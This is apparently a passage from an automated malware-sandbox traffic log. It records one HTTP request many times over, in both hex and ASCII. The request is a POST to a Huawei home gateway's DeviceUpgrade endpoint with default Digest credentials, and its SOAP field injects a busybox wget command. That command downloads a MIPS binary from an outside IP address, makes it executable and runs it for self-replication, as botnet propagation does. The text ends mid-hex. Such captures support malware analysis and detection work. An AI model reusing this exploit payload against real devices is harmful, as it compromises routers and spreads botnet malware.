72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 